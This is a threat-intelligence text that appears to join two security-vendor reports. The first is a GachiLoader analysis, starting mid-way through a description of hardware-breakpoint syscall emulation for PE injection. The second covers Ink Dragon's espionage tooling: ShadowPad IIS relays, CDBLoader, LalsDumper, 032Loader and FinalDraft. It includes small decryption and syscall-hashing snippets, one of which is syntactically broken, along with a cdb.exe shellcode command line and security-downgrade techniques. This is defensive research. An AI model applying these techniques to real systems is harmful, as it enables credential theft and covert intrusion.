Before stepping out of the VEH, the hardware breakpoint is re-set to NtMapViewOfSection.
Figure 14 — Setting a hardware breakpoint on NtMapViewOfSection
NtMapViewOfSection is then used by the Windows loader to map the section into the process, which again triggers the hardware breakpoint. To make sure the malicious payload is mapped, the syscall is again emulated by advancing the instruction pointer and replacing the [out] arguments with the relevant values, such as the section base address or the section size. This is possible, because the section view was mapped by the malware earlier, when the malicious payload was written into the view of wmp.dll:
Figure 15 — Skipping the call to NtMapViewOfSection, replacing the expected output parameter with the pointer to the malicious payload
A final hardware breakpoint is then set on NtClose , where the malware simply verifies that the correct section handle is closed.
Figure 16 — Setting the hardware breakpoint on NtClose
Back in the regular flow of the program, outside the VEH, the entry point will be invoked if the payload is a regular PE. If it is a DLL, the loader expects it to be another .node module and resolves the correct exports to invoke:
Figure 17 — EXE and DLL invocation
Completely unrelated to this campaign, we found a file with an original filename of HookPE.exe, which is a 64-bit PoC version of the technique with debug prints that uses the technique to load calc.exe into memory. Error strings in this binary indicate that the loader uses code from libpeconv for PE manipulation.
Figure 18 — HookPE PoC project, using the same technique
This injection technique has multiple advantages over “classic” RunPE-style reflective loading:
Just like when using the Module Overloading technique, the injected DLL will show up as backed by a legitimate image (such as wmp.dll), since the section was originally created for this DLL. However, since the code in memory will differ from the code on disk, tools such as Moneta are able to detect it:
Figure 19 — While Moneta detects the mismatching module, most analysis tools display the original DLL name
Some loader work is offloaded to the Windows loader. This significantly reduces complexity for the malware author as they do not have to implement e.g. resolving imports or TLS callbacks, which in turn increases payload compatibility. For example, many publicly available PE loaders do not properly handle TLS callbacks.
By emulating syscalls, the respective kernel side callbacks such as ETWti are not invoked, as the call to the kernel is skipped entirely. This may fool security solutions that rely only on these section ETWti events. Of course, the earlier calls before the injection (when mapping the image) still trigger those events, but not in the order usually expected.
We published a reimplementation of the 64bit variant of this injection method as a tool for security researchers to analyze the technique and test detections:
As deobfuscation of the JavaScript source is a tedious and partially manual process, we decided to run all available samples of GachiLoader through Node.js Tracer to bypass the anti-analysis checks and receive the final payloads. By hooking filesystem-related Node APIs, the downloaded files are saved for the analyst before they can be deleted by the malware trying to remove its traces.
Figure 20 — Tracer showing GachiLoader dropping Kidkadi to disk
The final payloads of both variants of GachiLoader were all packed and protected by Themida or VMProtect. Dumping the unprotected configuration from memory when running them in an automated sandbox then allowed us to extract the C2 servers of the final payloads.
Figure 20 — Detect-it-Easy Output for the Final Payload
All the analyzed samples that were part of this campaign dropped Rhadamanthys as the final malware. The extracted C2 servers can be found in the IoC section below.
Conclusion
Malware written for the Node.js platform has become increasingly common and is mostly found in obfuscated form, which is tedious to statically deobfuscate and analyze. By enabling analysts to trace and hook Node-API execution dynamically with our open source Node.js Tracer, the time that has to be spent on triage and analysis is significantly reduced, and common anti-analysis checks can easily be defeated.
The threat actor behind GachiLoader demonstrated proficiency with Windows internals, coming up with a new variation of a known technique. This highlights the need for security researchers to stay up-to-date with malware techniques such as PE injections and to proactively look for new ways in which malware authors try to evade detections.
The threat actors behind the YouTube Ghost Network exploit the trust in the YouTube platform to trick victims into downloading malware. Users should be particularly cautious of offers for cracked software, cracks, trainers, or cheats, as these files are frequently laced with malware designed to steal data and/or compromise a device. While both the security community and YouTube actively work to identify and remove such content, these attacks remain persistent.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, filetypes, and operating systems, and protect against the attacks and threats described in this report.
In recent months, Check Point Research has identified a new wave of attacks attributed to the Chinese threat actor Ink Dragon. Ink Dragon overlaps with threat clusters publicly reported as Earth Alux, Jewelbug, REF7707, CL-STA-0049, among others.
Ink Dragon has expanded its operational focus to new regions – In the last few months, the threat actor’s activities show increased focus on government targets in Europe in addition to continued activities in Southeast Asia and South America.
Ink Dragon builds a victim-based relay network – Ink Dragon leverages a custom ShadowPad IIS Listener module to turn compromised servers into active nodes within a distributed mesh, allowing each victim to forward commands and traffic, effectively transforming targets into part of their C2 infrastructure.
Ink Dragon continues to exploit long-known IIS misconfigurations for initial access – Despite years of public reporting and awareness within the security community, Ink Dragon still relies on predictable or mismanaged ASP.NET machineKey values to perform ViewState deserialization attacks against vulnerable IIS and SharePoint servers.
Ink Dragon is evolving its operations with new TTPs and tools – The cluster has introduced a new variant of FinalDraft malware with enhanced stealth and higher exfiltration throughput, along with advanced evasion techniques that enable stealthy lateral movement and multi-stage malware deployment across compromised networks.
Introduction
Check Point Research tracks a sustained, highly capable espionage cluster, which we refer to as Ink Dragon, and is referenced in other reports as CL-STA-0049, Earth Alux, or REF7707. This cluster is assessed by several vendors to be PRC-aligned. Since at least early 2023, Ink Dragon has repeatedly targeted government, telecom, and public-sector infrastructure, initially concentrating on Southeast Asia and South America, but with an increasing footprint in Europe and other regions. The actor’s campaigns combine solid software engineering, disciplined operational playbooks, and a willingness to reuse platform-native tools to blend into normal enterprise telemetry. This mix makes their intrusions both effective and stealthy.
A notable characteristic of Ink Dragon’s operations is their tendency to convert compromised environments into part of a larger, distributed relay network. By deploying a ShadowPad IIS Listener Module across multiple victims, the group effectively turns each breached server into a communication node capable of receiving, forwarding, and proxying commands. This design allows attackers to route traffic not only deeper inside a single organization’s network, but also across different victim networks entirely. As a result, one compromise can quietly become another hop in a global, multi-layered infrastructure supporting ongoing campaigns elsewhere, blending operational control with strategic reuse of previously breached assets.
This blog also presents the forensic story of a high‑stakes compromise of a European government office, highlighting recurring methods observed across different victims. We walk through the entire kill chain observed in the field, including web-centric initial access, hands-on-keyboard activity, staged loaders, privilege escalation, and credential-harvesting components, as well as aggressive lateral movement that culminated in domain dominance. We also document multiple delivery and persistence patterns that Ink Dragon favors, and unpack a new variant of the FinalDraft backdoor, which is used as a resilient, cloud-native command-and-control platform.
Beyond the technical details, this article shows how Ink Dragon’s tooling and repeatable TTPs reflect a mature, modular development model that steadily expands in capability while maintaining a consistent operational philosophy.
Attack Chain
Attackers begin by gaining initial access through ViewState deserialization or ToolShell-based exploits, then deploy ShadowPad on the compromised server. They harvest IIS worker credentials and establish an RDP proxy to move laterally, using RDP and ShadowPad’s built-in capabilities along with reused credentials. After obtaining access to a domain admin account, they achieve domain dominance. From there, they deploy FinalDraft on strategic machines and install a ShadowPad IIS listener on public-facing servers, enabling new victims to connect to the attackers’ infrastructure as the campaign continues.
Initial Access
In the environments we investigated, the common initial access vector is exploitation of ASP.NET ViewState deserialization via publicly disclosed machine keys. In this scenario, the __VIEWSTATE parameter, normally protected using the application’s machineKey, can be forged if the key is copied from public sources. Once the attacker can generate a valid signature, they can inject a crafted ViewState payload that the server deserializes, leading to remote code execution.
In other cases, we’ve also observed the actor abusing the ToolShell SharePoint vulnerability. ToolShell is an exploit chain targeting on-premises Microsoft SharePoint that combines authentication bypass and unsafe deserialization (CVE-2025-49706 / CVE-2025-53771 and CVE-2025-49704 / CVE-2025-53770, among others) to enable unauthenticated remote code execution and web shell deployment on vulnerable servers. In July 2025, we observed the actor conducting mass scanning for the ToolShell vulnerability during the initial waves of exploitation, indicating the actor was among a limited set of actors with early access to the exploit.
This demonstrates that the attackers have multiple web-facing options for initial compromise. The practical workflow is straightforward: enumerate internet-facing IIS/SharePoint servers, test for predictable machine keys or vulnerable SharePoint endpoints (often using publicly available fuzzing lists), and submit crafted POSTs or payloads that trigger deserialization/RCE. These attacks are stealthy and scale well against large organizations with inconsistent web configurations.
Internal Operation & Kill Chain Overview
Lateral Movement
In these campaigns, the adversary leverages two complementary strengths of a web compromise after gaining an initial foothold: privileged local artifacts (the IIS application/service credentials and configuration) and visibility into active administrative sessions.
By obtaining the IIS machineKey/DecryptionKey or otherwise recovering the site’s cryptographic secrets, the attacker can decrypt locally stored configuration blobs and credentials that the site or its worker processes store. In practice, this frequently yields the IIS worker/app-pool account password or other local secrets that carry elevated rights on the host and often across other IIS servers that reuse the same service account or credential material.
With a local administrative credential in hand, Ink Dragon escalates from code execution in w3wp.exe to full system control, and then leverages that control to create a persistent remote access channel (commonly an RDP tunnel or scheduled task that launches an administrative payload). Because many organizations reuse service credentials across web farms for management convenience, obtaining a single IIS credential can allow the actor to authenticate to sibling IIS hosts and pivot laterally with minimal network noise. Ink Dragon frequently tunnels RDP traffic to reach internal hosts from a remote workstation, exposing their machine names and enabling direct, interactive sessions that appear superficially legitimate.
From there, the attacker’s lateral playbook becomes straightforward: stage a resilient implant (ShadowPad/FinalDraft variants are common) and propagate it using native protocols such as SMB. The operator copies the triad (EXE + side-loaded DLL + encrypted blob) into writable shares, creating a service or scheduled task to run the payload, and attempting to disguise the service/process under a plausible name.
Persistence
The most common patterns we observed:
Scheduled tasks – the actor created tasks with benign-looking names (notably SYSCHECK) set to run under SYSTEM and pointing to staged loader hosts such as conhost.exe. Tasks were often created to run once at a chosen time, allowing the operator to bootstrap wide-scale re-execution while minimizing noisy periodic callbacks.
Service installation – on several machines, Ink Dragon installed services to launch their loaders as persistent system services, with service names disguised as Windows updates or temporary maintenance (e.g., WindowsTempUpdate). These services were used to run side-loaded triads (EXE + malicious DLL + encrypted blob), guaranteeing automatic restart and SYSTEM execution after reboots.
It’s essential to note that many of the staged executables (e.g., conhost.exe) were renamed to resemble native Windows binaries, yet they were digitally signed by legitimate vendors such as Advanced Micro Devices, Realtek Semiconductor Corp, and NVIDIA. Their OriginalFileName metadata differed from the on-disk names, indicating deliberate masquerading and abuse of trusted signatures to blend with the operating system.
Privilege Escalation
Ink Dragon combines targeted exploitation with heavy credential harvesting to quickly escalate local control into domain-level dominance.
Local escalation via exploitation: In multiple incidents, the initial __VIEWSTATE RCE was followed by local escalation tooling such as PrintNotifyPotato to obtain SYSTEM from a web server context. This allowed full control over the host and the rights to create persistent services and change firewall settings.
Credential harvesting and LSASS dumping: the operators deployed custom tools (we observed variants of LalsDumper) to create LSASS dumps and extract registry hives (SAM, SYSTEM) into ProgramData or user-profile directories for offline cracking. Dump files and registry hive exports were then used to recover NTLM hashes and Kerberos material.
Leveraging idle sessions: Ink Dragon actively enumerated Remote Desktop sessions and administrative consoles on key servers. In at least one instance, the actor located an idle RDP session belonging to a Domain Administrator that had authenticated via Network Level Authentication (CredSSP) using NTLMv2 fallback. Since the session remained disconnected but not logged off, it is highly likely that LSASS retained the associated logon token and NTLM verifier in memory. Ink Dragon obtained SYSTEM-level access to the host, extracted the token (and possibly the NTLM key material), and reused it to perform authenticated SMB operations. Through these actions, they were able to write to administrative shares and exfiltrate NTDS.dit and registry hives, marking the point at which they achieved domain-wide privilege escalation and control.
Enabling Egress
Ink Dragon modified host firewall rules to permit broad outbound traffic and effectively turned compromised hosts into unconstrained exfiltration/proxy nodes.
The group created a permissive outbound rule labeled to resemble legitimate software (we observed a rule named Microsoft MsMpEng, associated with MsMpEng.exe) that allowed Any → Any outbound traffic across all profiles. The rule was created locally (not via GPO), enabled, and applied to the Defender process in SYSTEM context. This bypasses upstream egress controls that would otherwise block custom ports or tunneling traffic.
Building the Relay Network
During the investigation, we discovered that Ink Dragon is actively converting compromised organizations into functional communication nodes within a distributed ShadowPad relay network. This capability is powered by an IIS Listener Module. Instead of serving as a traditional backdoor, the module enables the malware to register new URL listeners directly through the HttpAddUrl API, which lets processes bind HTTP(S) endpoints dynamically, including wildcard patterns that match all sub-paths or hostnames. This means the malicious listener seamlessly coexists with legitimate IIS behavior, silently intercepting any incoming HTTP requests whose URL matches its configuration. When a request arrives, the module decrypts the payload and evaluates whether the structure fits its proprietary protocol. If not, it falls back to genuine IIS logic, serving real web content or returning legitimate error codes. The result is a hard-to-detect implant that blends into the server’s normal traffic patterns while retaining full control over its hidden C2 channel.
Communication with a regular client via the IIS module
Where this becomes significantly more strategic is in how the module manages remote peers. The listener can categorize external IP addresses into two functional roles: servers and clients. It automatically pairs nodes from each list to relay traffic between them. Once two peers are matched, the compromised host becomes a live forwarding point: data arriving from the “server” side is streamed directly to the “client,” and responses are returned in the same manner, effectively turning the victim into a transparent communication bridge. We observed multiple instances where government entities were inadvertently serving as C2 relays. In some instances, the victim machine is leveraged as a hop, serving as an access node for ShadowPad clients active in other, unrelated target environments. This chaining effect forms a multi-layered mesh of compromised infrastructure, allowing the operator to issue commands to downstream implants without direct communication with them.
Beyond its role in constructing a large-scale external relay network, the ShadowPad IIS module also exposes a conventional internal proxy capability, designed to route commands toward ShadowPad nodes located deeper within the same network. When the attackers need to deliver instructions to implants that do not have direct external reachability, the IIS module simply relays the traffic internally, behaving much like a pivot point inside the compromised environment. This capability is not new in concept, but its integration into a legitimate IIS worker process makes it extremely difficult to distinguish malicious lateral communication from normal internal service traffic.
Beyond the relay logic itself, the module leaves behind an unusually rich forensic artifact: debug strings that document the number of bytes it forwards between external and internal IP addresses. These strings include source, destination, and payload size. During our investigation, this telemetry proved essential in reconstructing the attackers’ communication graph, enabling us to map exactly how commands entered the victim, how they were relayed, and which internal hosts were drawn into the chain. The presence of such granular logging underscores just how central the relay mechanism is to the operator’s workflow: the victim is not merely compromised, but actively repurposed as a communication bridge that keeps the broader ShadowPad infrastructure stitched together.
Debug log strings dumped from the IIS Listener
This architecture enhances stealth and survivability. By routing commands through unrelated victims, the true controlling IP is never exposed, and network defenders have difficulty distinguishing malicious cross-organization traffic from legitimate inter-government or inter-infrastructure communication. Most significantly, every newly compromised perimeter system can be repurposed immediately as another hop, allowing Ink Dragon to expand its operational reach while obscuring both the origin and the direction of command flow.
Tools & Post‑Exploitation Components
As we expanded our analysis beyond the initial access vector, a broader toolset began to emerge. Ink Dragon does not operate with a single backdoor or a monolithic framework; instead, the intrusions feature a sequence of purpose-built components that activate at different stages of the operation. What follows is a breakdown of the post-exploitation tooling we recovered, from IIS-embedded ShadowPad modules to debugger-based loaders, credential-harvesting implants, and long-term command-and-control platforms.
Summary of Observed Components
Category
Name
Function
Brief Description
IIS Backdoors & C2
ShadowPad IIS Listener Module
Core C2 & relay node
Intercepts selected IIS traffic, decrypts commands, builds a distributed relay network, and exposes a full ShadowPad backdoor on IIS servers.
Loader
ShadowPad Loader
Payload delivery
Triad structure (EXE + DLL + TMP) that decrypts and runs the ShadowPad core in memory while deleting artifacts.
Loader
CDBLoader
Memory-resident payload execution
Uses cdb.exe scripts to patch memory, run shellcode, and load AES-encrypted payloads via a debugger session.
Credential Access
LalsDumper
LSASS dump extraction
Registers a malicious SSP DLL in LSASS, extracts a compressed LSASS memory dump via custom direct-syscall logic.
Loader
032Loader
Host-dependent payload loader
RC4-like decryption using the system’s InstallDate as entropy, delivering payloads via shared memory mapping.
Modular RAT
FinalDraft
Long-term espionage & cloud C2
Modular RAT using Microsoft Graph API; supports exfiltration, RDP history harvesting, tunneling, scheduling, and mailbox-based command exchange.
ShadowPad IIS Listener Module
Module Initialization
The ShadowPad IIS Listener Module deployed in this intrusion is a fully integrated component designed to masquerade as part of the legitimate IIS stack while quietly providing command-and-control and relay capabilities. Its configuration block defines several operational parameters that determine both how it responds to benign web traffic and how it handles attacker-controlled messages. These include a server type string (used in HTTP response headers), a document root path, and a fallback error page path. Even when configuration fields are absent, the module falls back to realistic defaults — "C:\\inetpub\\wwwroot", "C:\\inetpub\\custerr\\en-US\\404.htm", and "Microsoft-IIS/10.0". Those values allow the module to blend seamlessly with a standard Windows Server installation.
The most important part of the configuration is the list of URL patterns the module will intercept. These patterns are stored as wildcard-enabled strings, separated by semicolons, and are used to register listeners via the Windows HttpAddUrl API. This API allows the module to attach itself to arbitrary HTTP URL prefixes, including those containing wildcards for hostnames or paths, making the listener hard to detect unless the exact bindings are enumerated at the OS level. Any inbound request matching one of these patterns is captured and passed through the module’s internal decryption and message-parsing routine.
def decrypt_first_packet(buf: bytearray, seed: int, length: int):
"""
buf = bytearray starting at a1->type (first byte = LOBYTE(seed), second = HIBYTE(seed))
length = total length of buffer (rdx)
"""
count = length - 2
seed_lo = buf[0]
seed_hi = buf[1]
num = (seed_hi << 8) | seed_lo
num &= 0xFFFFFFFF
pos = 2
for _ in range(count):
hi = (num >> 16) & 0xFFFF
num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
buf[pos] ^= num & 0xFF
pos += 1
return buf
Requests that do not conform to the attacker’s expected encrypted structure are quietly handled as normal IIS traffic: static files are served from the configured webroot folder when available, and legitimate error pages are returned otherwise. This fallback behavior ensures the listener remains operationally stealthy, presenting a legitimate façade while still acting as a covert interception point.
Split Command Architecture
Once a request passes the module’s URL‑matching, decryption, and structural checks, the ShadowPad IIS Listener evaluates the embedded command ID. These commands fall into two broad categories, both of which are handled by the same component.
The first category contains the instructions responsible for building and maintaining the distributed relay network. These include commands that register an endpoint as a “server,” commands that register an endpoint as a “client,” and the logic that pairs nodes, forwards traffic, and maintains the two queues that drive the hop‑to‑hop communication model.
The second category is entirely separate in purpose: a full backdoor command set enabling the operator to interact directly with the local system. These commands cover host reconnaissance, file operations, data collection, payload staging, configuration updates, process control, and network‑level actions. In other words, the same module responsible for linking compromised machines into a cross‑victim relay chain is also fully capable of operating as a traditional ShadowPad backdoor on that same host.
Distributed Relay Network Construction
The most strategically significant capability lies in the module’s role in building and maintaining the operator’s distributed relay network. The IIS Listener maintains two concurrent registries of peers: a server list and a client list. Nodes can add themselves to either list via dedicated command IDs. Entries in the server list are periodically revalidated every 30 seconds, and the module issues acknowledgments to confirm ongoing availability. Nodes placed into the client list behave differently; if a client remains unpaired for 30 seconds, it is automatically pruned to prevent stale links.
Whenever a new node is inserted into one of the lists and the Listener detects that both lists contain at least one live entry, it pairs the first server node with the first client node. At that moment, it sends the server the victim’s IP address. After this handshake, the module establishes bidirectional relaying between the two sockets, shuttling each packet from server → client and client → server with no further processing. The result is a fully transparent hop that allows an upstream operator to deliver commands to a downstream client without ever interacting with that client directly.
Relay network logic flow
Backdoor Features
The IIS Listener Module of ShadowPad also includes features of the ShadowPad client, letting the attackers run different commands on the IIS machine. This embedded command set provides the operator with extensive control over the compromised host, enabling everything from reconnaissance to interactive access to payload staging.
The breadth of these command IDs illustrates how ShadowPad’s IIS Listener is more than a simple traffic forwarder; it is a self-contained control surface capable of both maintaining the distributed relay network and exerting fine-grained control over any machine running it. This duality is central to Ink Dragon’s operational philosophy: relay-capable nodes double as fully functional access points, allowing the operator to maintain stealthy persistence, collect intelligence, deploy additional tooling, and issue high-privilege instructions without ever exposing their true command infrastructure.
ShadowPad’s backdoor exposes a broad command surface designed to give operators full, hands-on control of a compromised system. It begins with basic orchestration capabilities, retrieving the full command map, gathering a detailed system snapshot, launching an interactive reverse shell, or cleanly shutting down the implant when needed. From there, the malware offers an extensive file-management layer that can enumerate drives, walk directories, manipulate timestamps, create or remove files and folders, and read, write, move, or download data on demand. This is complemented by rich process and service control, allowing operators to list and kill processes, inspect loaded modules, and start, stop, or delete Windows services with the same precision seen in legitimate administration tools.
Main commands method flow
ShadowPad also supports multiple execution models, including running commands with output capture, spawning interactive console processes with full screen-buffer access, and maintaining long-lived execution channels through pipes. The networking side is equally capable: the implant can inspect local TCP/UDP tables, alter network entries, and even serve as a pivot point by proxying or tunneling traffic through the infected host. In practice, these capabilities turn the backdoor into a complete remote operations platform that blends system administration, espionage tooling, and covert tunneling into a single, tightly integrated module.
ShadowPad Loaders
ShadowPad is a modular, multi-layered backdoor framework widely attributed to Chinese state-sponsored threat groups and frequently used in long-term espionage campaigns. ShadowPad allows operators to deploy customized modules for data exfiltration, credential harvesting, and lateral movement.
In Ink Dragon’s operations, we observed numerous ShadowPad deployments following a recurring triad sideloading structure: an executable, a malicious DLL, and an encrypted TMP payload. The legitimate or masqueraded executable loads the malicious DLL, which in turn decrypts and executes the ShadowPad core from the TMP file directly in memory, erasing the payload afterward to minimize forensic artifacts.
A notable detail in Ink Dragon’s ShadowPad loader is that many of the malicious DLLs across different incidents shared the same generic name, DLL.dll. The DLL loaders were MFC-based binaries, where the malicious code was heavily obfuscated using ScatterBrain.
Search for ShadowPad obfuscated code entry point
Once executed, these loaders perform on-the-fly decryption of configuration data and payloads stored in the same directory.
Path
Executable
DLL
C:\Users\Public
vncutil64.exe
vncutil64loc.dll
C:\Program Files\Microsoft\Edge
ApplicationLogs.exe
atiadlxy.dll
C:\Program Files\Microsoft\Edge\Application
msedge_proxyLog.exe
msedge_proxyLogLOC.dll
CDBLoader
One of Ink Dragon’s most distinctive TTPs is leveraging the Microsoft debugger (cdb.exe) as an execution host.
Rather than launching a typical EXE, the operator runs a WinDbg/CDB scripted session, such as: c:\users\public\cdb.exe -cf C:\Users\Public\config.ini -o C:\Users\Public\cdb.exe.
The shipped config.ini is not an innocuous INI file. It contains a sequence of memory-edit / write-bytes commands followed by a change to the instruction pointer (RIP) so execution continues at the attacker-controlled shellcode. The shellcode, in turn, reads an auxiliary file (wmsetup.log) from disk, decrypts it with an AES key hard-coded into the shellcode, and loads the real payload into memory for execution. After the payload runs, the debugger instance and helper files are often removed, leaving only transient memory-resident code.
The shellcode script in config.ini
LalsDumper
LalsDumper is Ink Dragon’s in-house LSASS extraction chain observed during multiple intrusions. The sequence starts with a small loader (lals.exe) that manipulates a companion DLL (fdp.dll) in the same folder. The loader locates a placeholder (32 ‘d’ characters) inside fdp.dll, overwrites that placeholder with the path to an auxiliary file (rtu.txt), and produces a patched DLL named nfdp.dll.
Crucially, the loader calls AddSecurityPackageA to register the DLL as a Security Support Provider (SSP) so that lsass.exe will load it, a technique that forces LSASS itself to load attacker code in-process.
The replacement of the placeholder by a real name added as SSP
The registered DLL reads rtu.txt, applies a simple XOR with 0x20 to recover a secondary payload, and then maps that payload into memory. The payload implements a custom MiniDumpWriteDump-like routine (not using the Windows API directly) to create a compressed dump of lsass.exe, writing a ZIP-like dump file named <%TEMP%>\<pid>.ddt.
The chain uses direct syscalls (hashed at runtime) to evade API-based hooking and EDR detection.
def hash_syscall(name: str) -> int:
h = 0xCD7815D6 # constant seed
for (*WORD) ch in name: # iterate Unicode code-points
h ^= (ord(ch) & 0xFFFF) + ror32(h, 8)
return h & 0xFFFFFFFF
The DLL exposes a function called Tom, which serves as the payload’s runtime entry point and orchestrates the loader’s core logic: when invoked, Tom creates a file in the system TEMP folder named using the victim process ID (for example %TEMP%\<pid>.ddt), captures a memory dump of lsass.exe and writes that dump into the .ddt file using a ZIP-style archive format.
LalsDumper’s main function
032Loader
032Loader is a sideload-based loader that uses host-specific entropy to decrypt and execute payloads. After being sideloaded by a legitimate executable, the loader patches the host EXE’s code flow so that control transfers to its own logic immediately after load.
The patching of the executable by 032Loader
The loader then queries the system’s InstallDate from the registry and derives a decryption key from that value. It uses the InstallDate as the seed for RC4 (or RC4-like) decryption of a third-file blob (the encrypted payload), often accessed via the SystemFunction032 API to perform the decryption step. Once decrypted, the loader maps the payload via CreateFileMappingW / MapViewOfFile and adjusts memory protections with VirtualProtect, then transfers execution to the in-memory payload.
FinalDraft: New Version
FinalDraft is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally, mostly by abusing Outlook mail service via the Microsoft Graph API. The samples and behavior we analyzed are consistent with previous public write-ups, but Ink Dragon’s deployments show continued feature expansion and careful operational tuning to reduce telemetry and maximize resilience.
FinalDraft begins by locating and decrypting its configuration blob. The configuration is XORed with either a hash derived from the host ProductId (making the config per-machine) or the hash of a hardcoded string.
The Decryption of FinalDraft’s configuration
Once decrypted, the config exposes a unique GUID for the implant, the preferred communication transport, an AES key for message encryption, C2 endpoints and refresh tokens, and other operational metadata.
The most commonly used transport we observed is COutlookTrans, which leverages the Microsoft Graph API (the token endpoint at https://login.microsoftonline.com/common/oauth2/token) to hide command-and-control traffic inside legitimate cloud mail flows. FinalDraft uses a refresh token embedded in its configuration to acquire OAuth access tokens, which it stores locally under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\ for later use. Commands and responses are exchanged as email drafts (messages whose subject starts with r_<session_id> and p_<session_id>). The payloads inside those messages are base64-encoded, AES-encrypted (with the config key), and compressed, which helps the operator hide instructions inside otherwise normal mailbox data and bypass network filtering that whitelists Microsoft cloud endpoints.
The message FinalDraft sends to get commands
FinalDraft implements a modular command framework in which operators push encoded command documents to the victim’s mailbox, and the implant pulls, decrypts, and executes them. Beyond the standard toolkit (process/service control, file/registry access, tunneling, and file transfer), the Ink Dragon variants we analyzed introduce several extensions that increase stealth, operational control, and data-theft efficiency.
Flexible Beacon Scheduling
The malware supports highly granular callback controls, allowing operators to define daily beaconing windows or specify an explicit list of times when the implant will attempt to reach its C2. This schedule-based design helps blend command traffic into predictable operational patterns.
RDP Activity Harvesting
DumpRDPHistory extracts evidence of both outbound and inbound RDP usage.
RDP OUT (Outbound RDP targets) – MRU-like entries in the user registry hives that record the servers the user has connected to (the built-in RDP client’s Recent Server list). For each entry, the tool reads UserNameHint and the registry key’s last write time to produce lines like: <ServerName>:<UserNameHint>:<Timestamp>. This data is queried from HKCU\SOFTWARE\Microsoft\Terminal Server Client\Servers\<ServerName>\
RDP IN (Inbound RDP sessions) – Event log entries from the Terminal Services Local Session Manager operational channel that record session connect/disconnect events. The tool queries Windows Event Log (via EvtQuery / Get-WinEvent) for Event ID 21 (Remote Desktop Services: Session logon succeeded) and 25 (disconnect/other session events depending on Windows version). From these, it extracts records like: <UserName>:<IP>:<TimeStamp>.
Security Control Downgrades
Several commands intentionally weaken Windows security posture to assist persistence and lateral movement:
DisableRestrictedAdmin – makes RDP connections authenticate with reusable credentials or delegated tokens, enabling credential hopping instead of “restricted” mode authentication. It makes RDP more attractive for lateral movement because an attacker who already controls an endpoint can initiate Restricted Admin connections using local credentials or stolen hashes to hop to other systems without needing cleartext passwords.
Enabling Restricted Admin
DisableTokenFiltering – disables remote token filtering so local admin accounts receive full, not restricted, admin tokens over the network. This allows attackers to use reused or harvested local credentials to perform truly administrative remote actions without requiring domain credentials.
EnableDSRMAdmin – allows the powerful DSRM recovery account to log in even when the DC is not in Directory Services Restore Mode. It gives an attacker a powerful, low-audited way to gain full local control of a DC using an otherwise seldom-monitored credential or hash.
Setting the DSRMAdminLogonBehavior registry key to 2
DisableRunAsPPL – removes Process Protection Level safeguards, enabling injection and tampering with protected processes such as AV/EDR components. Adversaries do this to defeat endpoint defenses (allowing in-memory loaders, hooking, or live patching of AV and EDR components), to persist by replacing signed binaries, or to extract secrets from processes that would normally be protected.
High-Throughput Exfiltration
BackgroundFileTransfer introduces a dedicated asynchronous worker for large-scale exfiltration. It streams data in sizeable chunks, reports progress in the background, and minimizes the number of required outbound connections. This is ideal for moving large archives over cloud-proxied channels without attracting attention.
Host Profiling & Inventory
Ink Dragon consolidates multiple reconnaissance routines such as system fingerprinting, adapter enumeration, and installed software collection into a unified host profile. This captures IP configuration details (similar to ipconfig /all), network adapter metadata, installed applications (from HKLM and HKCU uninstall keys), system identifiers (MachineGuid, ProductId, InstallDate, and System uptime), and other indicators useful for victim classification and targeting.
IP Configuration data strings in FinalDraft
Victimology
Ink Dragon’s targeting patterns show a consistent emphasis on government organizations, but beyond that shared characteristic, there are no clear indicators of how the actor selects its victims. Most affected organizations appear to serve a specific operational purpose for the actor rather than reflecting broad, industry-wide targeting.
Geographically, Ink Dragon has focused heavily on government entities in Southeast Asia and Africa, and in recent months has expanded its activity into Europe. Since the ToolShell exploitation wave in July, the actor has steadily increased its operations in the region, with a growing concentration on European government-sector targets. A key aspect of Ink Dragon’s tradecraft is its use of compromised organizations as C2 relay nodes. As a result, we have observed European victims being leveraged to launch activity not only against additional European institutions, but also against targets in Africa and Southeast Asia.
Overlap With RudePanda / REF3927 Activity
During our investigation, we also observed evidence of a second intrusion set commonly tracked as RudePanda / REF3927 on several of the same victim environments compromised by Ink Dragon. While we do not assess these activity clusters to be operationally linked, the victimology overlap is notable: both actors exploited the same internet-facing server vulnerability to gain footholds in identical organizations and systems.
Upon gaining access, RudePanda relied on its customary toolset, which included:
Godzilla-derived webshells used to execute in-memory .NET payloads and deploy secondary components.
Malicious IIS modules belonging to the TOLLBOOTH family embed command-and-control logic directly inside the web server’s processing pipeline. Several modules contained PDB references to dongtai, consistent with tooling previously documented in public reporting.
Configuration tampering of IIS’s applicationHost.config, where a simple diff against previous snapshots exposes the unauthorized module insertions.
In addition, the actor deployed a kernel-mode rootkit driver, wingtb.sys (2965ddbcd11a08a3ca159af187ef754c), a modified and signed variant of Winkbj.sys. Its installation uses an INF file (Hidden.inf) naming the service “Wingtb.” The driver is derived from the open-source “Hidden” rootkit project, used to conceal files, processes, and registry entries after being activated on the system.
Finally, several .lnk artifacts referencing the operator’s backdoor kit that is consistent with the GoToHTTP tooling previously documented by both HarfangLab and Elastic were recovered on disk. Although the original payloads were deleted, these link files served as additional indicators of RudePanda’s presence.
Conclusion
Ink Dragon’s operations illustrate a shift in how modern espionage clusters weaponize compromised infrastructure. Rather than treating each victim as an endpoint to be monitored or harvested, the group systematically folds every breached perimeter server into a distributed ShadowPad relay fabric. The IIS Listener Module sits at the center of this strategy: a stealthy, low-friction component that binds hidden URL prefixes, intercepts traffic without disrupting legitimate services, and quietly links victims together into a multi-hop communication grid.
This architecture transforms the threat landscape in several ways. First, it grants the operators resilient command paths that do not rely on fixed infrastructure. Even if a downstream implant has no internet reachability or if upstream servers are blocked, the attacker can simply reroute through other victims. Second, it provides natural operational camouflage. Traffic tunneled between unrelated government or enterprise networks appears outwardly benign and often blends into the expected profile of inter-organizational HTTP flow. Third, it enables strategic re-use of compromised assets: once a host is enrolled as a ShadowPad relay, it becomes an evergreen pivot point that continues to serve campaigns long after the initial intrusion.
The rest of the kill chain reinforces this design philosophy. Mature sideloading patterns, modular loader triads, memory-resident payloads, compartmentalized privilege escalation, and disciplined credential harvesting all serve one purpose: establish durable, high-privilege access long enough to turn the victim into reliable infrastructure. Whether deploying FinalDraft, staging ShadowPad loaders, or extracting domain-wide secrets, each action feeds back into the broader communication mesh that Ink Dragon relies on to maintain persistence across environments.
